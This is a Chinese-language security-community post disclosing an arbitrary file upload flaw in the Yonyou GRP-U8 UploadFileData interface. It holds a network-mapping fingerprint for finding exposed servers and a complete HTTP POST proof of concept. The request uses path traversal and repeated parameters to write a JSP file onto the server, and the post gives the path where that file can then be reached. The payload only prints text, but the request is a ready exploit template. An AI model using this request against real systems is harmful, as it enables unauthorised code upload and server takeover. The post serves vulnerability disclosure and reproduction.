奇安信攻防社区-Yonyou GRP-U8 UploadFileData 任意文件上传漏洞

Yonyou GRP-U8 UploadFileData 任意文件上传漏洞

# Yonyou GRP-U8 UploadFileData 任意文件上传漏洞 ## 漏洞描述 Yonyou GRP-U8 UploadFileData接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限 ## 漏洞影响 Yonyou GR...

Yonyou GRP-U8 UploadFileData 任意文件上传漏洞
=====================================

漏洞描述
----

Yonyou GRP-U8 UploadFileData接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限

漏洞影响
----

Yonyou GRP-U8

网络测绘
----

app="Yonyou-GRP-U8"

漏洞复现
----

登录页面

![img](https://shs3.b.qianxin.com/butian_public/f762398a9e3b287a02611dd716096c663912dc7876fb0.jpg)

验证POC

```php
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=debugg.jsp&filename=1.jpg HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=59227D2C93FE3E8C2626DA625CE710F9
Content-Type: multipart/form-data
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

------WebKitFormBoundary92pUawKc
Content-Disposition: form-data; name="myFile";filename="test.jpg"

<% out.println("123");%>
------WebKitFormBoundary92pUawKc--
```

![img](https://shs3.b.qianxin.com/butian_public/f513023f1e31800b387973f8b362df635a87a949f8826.jpg)

访问写入的文件

```php
/R9iPortal/debugg.jsp
```

![img](https://shs3.b.qianxin.com/butian_public/f3959090fbf352cddcb0696eefe6dfe059fcbca93712c.jpg)

发表于 2024-07-12 18:45:01
阅读 ( 641 )
分类：OA产品

Yonyou GRP-U8 UploadFileData 任意文件上传漏洞

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